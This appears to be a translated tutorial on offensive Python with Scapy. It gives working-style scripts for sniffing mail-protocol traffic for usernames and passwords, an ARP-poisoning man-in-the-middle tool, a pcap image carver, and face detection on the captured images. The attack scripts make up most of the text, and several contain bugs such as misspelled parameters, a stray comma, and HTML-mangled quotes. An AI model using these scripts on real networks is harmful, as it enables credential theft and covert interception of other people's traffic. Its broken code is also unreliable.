Getting Started with Python Penetration Testing: How to Use the Scapy Library

Scapy is a Python module and interactive program used to parse underlying network data packets. This program abstractly packages underlying packet processing, making the processing of network data packets very simple. This class library can have a very wide range of use cases in the field of network security and can be used for vulnerability exploitation development, data leakage, network monitoring, intrusion detection and traffic analysis and capture. Scapy is integrated with data visualization and report generation to easily display results and data.

Steal email identity credentials

Scapy provides a concisely named interface function sniff. Its definition is as follows:

sniff(filter = " ", iface = "any", prn = function, count = N)

The filter parameter allows you to specify a Berkeley data Packet filter (Berkeley Packet Filter, BPF) is used to filter the packets sniffed by Scapy. You can also leave this parameter blank to indicate that all packets are to be sniffed.

The iface parameter is used to specify the network card to be sniffed by the sniffer. If not set, all network cards will be sniffed by default. The prn parameter is used to specify a callback function. Whenever a packet that meets the filtering conditions is encountered, the sniffer will pass the packet to this callback function. This is the only parameter accepted by this function. The count parameter can be used to specify how many packets you want to sniff. If left blank, Scapy will continue to sniff.

mail_sniffer.py:

from scapy.all import sniff

def packet_callback(packet):
    print(packet.show())

def main():
    sniff(pro=packet_callback, count=1)

if __name__ == '__main__':
    main()

In this simple sniffer, it will only sniff commands related to the mailbox protocol.

Next we will add filters and callback function codes to capture data related to email account authentication in a targeted manner.

First, we will set up a packet filter to ensure that the sniffer only shows the packets that interest us. We will use BPF syntax (also known as Wireshark style syntax) to write filters. You may use this syntax in tools such as tcpdump and Wireshark. Let’s talk about basic BPF syntax first. In BPF syntax, three types of information can be used: descriptors (such as a specific host address, network card name, or port number), data flow direction, and communication protocol, as shown in the figure. You are free to add or omit certain types, directions or protocols depending on the data you are looking for.

Let’s first write a BPF:

from scapy.all import sniff, TCP, IP

#the packet callback
def packet_callback(packet):
    if packet[TCP].payload:
        mypacket = str(packet[TCP].paylaod)
        if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
            print(f"[*] Destination: {packet[IP].dst}")
            print(f"[*] {str(packet[TCP].payload)}")


def main():
    #fire up the sniffer
    sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',prn=packet_callback, store=0)
#监听邮件协议常用端口
#新参数store，把它设为0以后，Scapy就不会将任何数据包保留在内存里

if __name__ == '__main__':
    main()

ARP poisoning attack

Logic: deceive the target device into believing that we are it gateway; then spoof the gateway and tell it that all traffic destined for the target device must be forwarded to us. Every device on the network maintains an ARP cache, which records the correspondence between MAC addresses and IP addresses on the local network in the recent period. To implement this attack, we will poison these ARP caches, i.e. insert our fabricated records into the cache.

Note that the target machine of the experiment is mac

arper.py:

from multiprocessing import Process
from scapy.all import (ARP, Ether, conf, get_if_hwaddr, send, sniff, sndrcv, srp, wrpcap)
import os
import sys
import time

def get_mac(targetip):
    packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
    resp, _= srp(packet, timeout=2, retry=10, verbose=False)
    for _, r in resp:
        return r[Ether].src
    return None
    
class Arper:
    def __init__(self, victim, gateway, interface='en0'):
        self.victim = victim
        self.victimmac = get_mac(victim)
        self.gateway = gateway
        self.gatewaymac = get_mac(gateway)
        self.interface = interface
        conf.iface = interface
        conf.verb = 0

        print(f'Initialized {interface}:')
        print(f'Gateway ({gateway}) is at {self.gateway}')
        print(f'Victim ({victim}) is at {self.gatewaymac}')
        print('_'*30)
    
    def run(self):
        self.poison_thread = Process(target=self.poison)
        self.poison_thread.start()

        self.sniff_thread = Process(target=self.sniff)
        self.sniff_thread.start()

    def poison(self):
        poison_victim = ARP()
        poison_victim.op = 2
        poison_victim.psrc = self.gateway
        poison_victim.pdst = self.victim
        poison_victim.hwdst = self.victimmac
        print(f'ip src: {poison_victim.psrc}')
        print(f'ip dst: {poison_victim.pdst}')
        print(f'mac dst: {poison_victim.hwdst}')
        print(f'mac src: {poison_victim.hwsrc}')
        print(poison_victim.summary())
        print('_'*30)
        poison_gateway = ARP()
        poison_gateway.op = 2
        poison_gateway.psrc = self,victim 
        poison_gateway.pdst = self.gateway
        poison_gateway.hwdst = self.gatewaymac

        print(f'ip src: {poison_gateway.psrc}')
        print(f'ip dst: {poison_gateway.pdst}')
        print(f'mac dst: {poison_gateway.hwdst}')
        print(f'mac_src: {poison_gateway.hwsrc}')
        print(poison_gateway.summary())
        print('_'*30)
        print(f'Beginning the ARP poison. [CTRL -C to stop]')
        while True:
            sys.stdout.write('.')
            sys.stdout.flush()
            try:
                send(poison_victim)
                send(poison_gateway)
            except KeyboardInterrupt:
                self.restore()
                sys.exit()
            else:
                time.sleep(2)


    def sniff(self, count=200):
        time.sleep(5)
        print(f'Sniffing {count} packets')
        bpf_filter = "ip host %s" % victim
        packets = sniff(count=count, filter=bpf_filter, ifcae=self.interface)
        wrpcap('arper.pcap', packets)
        print('Got the packets')
        self.restore()
        self.poison_thread.terminate()
        print('Finished')

    def restore(self):
        print('Restoring ARP tables...')
        send(ARP(
            op=2,
            psrc=self.gateway,
            hwsrc=self.gatewaymac,
            pdst=self.victim,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
        send(ARP(
            op=2,
            psrc=self.victim,
            hwsrc=self.victimmac,
            pdst=self.gateway,
            hwdst='ff:ff:ff:ff:ff:ff'),
            count=5)
                

if __name__ == '__main__':
    (victim, gateway, interface) = (sys.argv[1], sys.argv[2], sys.argv[3])
    myarp = Arper(victim, gateway, interface)
    myarp.run()

pcap file processing

recapper.py:

from scapy.all import TCP, rdpcap
import collections
import os
import re
import sys
import zlib

OUTDIR = '/root/Desktop/pictures'
PCAPS = '/root/Downloads'

Response = collections.namedtuple('Response', ['header','payload'])

def get_header(payload):
    try:
        header_raw = payload[:payload.index(b'\r\n\r\n')+2]
    except ValueError:
        sys.stdout.write('_')
        sys.stdout.flush()
        return None
    
    header = dict(re.findall(r&#39;?P<name>.*?): (?P<value>.*?)\r\n&#39;, header_raw.decode()))
    if &#39;Content-Type&#39; not in header:
        return None
    return header

def extract_content(Response, content_name=&#39;image&#39;):
    content, content_type = None, None
    if content_name in Response.header[&#39;Content-Type&#39;]:
        content_type = Response.header[&#39;Content-Type&#39;].split(&#39;/&#39;)[1]
        content = Response.payload[Response.payload.index(b&#39;\r\n\r\n&#39;)+4:]

        if &#39;Content-Encoding&#39; in Response.header:
            if Response.header[&#39;Content-Encoding&#39;] == "gzip":
                content = zlib.decompress(Response.payload, zlib.MAX_wbits | 32)
            elif Response.header[&#39;Content-Encoding&#39;] == "deflate":
                content = zlib.decompress(Response.payload) 
    
    return content, content_type

class Recapper:
    def __init__(self, fname):
        pcap = rdpcap(fname)
        self.session = pcap.session()
        self.responses = list()

    def get_responses(self):
        for session in self.session:
            payload = b&#39;&#39;
            for packet in self.session[session]:
                try:
                    if packet[TCP].dport == 80 or packet[TCP].sport == 80:
                        payload += bytes(packet[TCP].payload)
                except IndexError:
                    sys.stdout.write(&#39;x&#39;)
                    sys.stdout.flush()
        
            if payload:
                header = get_header(payload)
                if header is None:
                    continue
            self.responses.append(Response(header=header, payload=payload))
    def write(self, content_name):
        for i, response in enumerate(self.responses):
            content, content_type = extract_content(response, content_name)
            if content and content_type:
                fname = os.path.join(OUTDIR, f&#39;ex_{i}.{content_type}&#39;)
                print(f&#39;Writing {fname}&#39;)
                with open(fname, &#39;wb&#39;) as f:
                    f.write(content)

if __name__ == &#39;__main__&#39;:
    pfile = os.path.join(PCAPS, &#39;pcap.pcap&#39;)
    recapper = Recapper(pfile)
    recapper.get_responses()
    recapper.write(&#39;image&#39;)

If we get a picture, then we need to analyze the picture and check each picture to confirm whether there is a face in it. For each image containing a face, we draw a box around the face and save it as a new image.

detector.py：

import cv2
import os

ROOT = '/root/Desktop/pictures'
FACES = '/root/Desktop/faces'
TRAIN = '/root/Desktop/training'

def detect(srcdir=ROOT, tgtdir=FACES, train_dir=TRAIN):
    for fname in os.listdir(srcdir):
        if not fname.upper().endswith('.JPG'):
            continue
        fullname = os.path.join(srcdir, fname)

        newname = os.path.join(tgtdir, fname)
        img = cv2.imread(fullname)
        if img is None:
            continue

        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
        training = os.path.join(train_dir, 'haarcascade_frontalface_alt.xml')
        cascade = cv2.CascadeClassifier(training)
        rects = cascade.detectMultiScale(gray, 1.3,5)
        try:
            if rects.any():
                print('Got a face')
                rects[:, 2:] += rects[:, :2]
        except AttributeError:
            print(f'No faces fount in {fname}')
            continue

        # highlight the faces in the image
        for x1, y1, x2, y2 in rects:
            cv2.rectangle(img, (x1, y1), (x2, y2), (127, 255, 0), 2)
        cv2.imwrite(newname, img)

if name == '__main__':
    detect()

The above is the detailed content of Getting Started with Python Penetration Testing: How to Use the Scapy Library. For more information, please follow other related articles on the PHP Chinese website!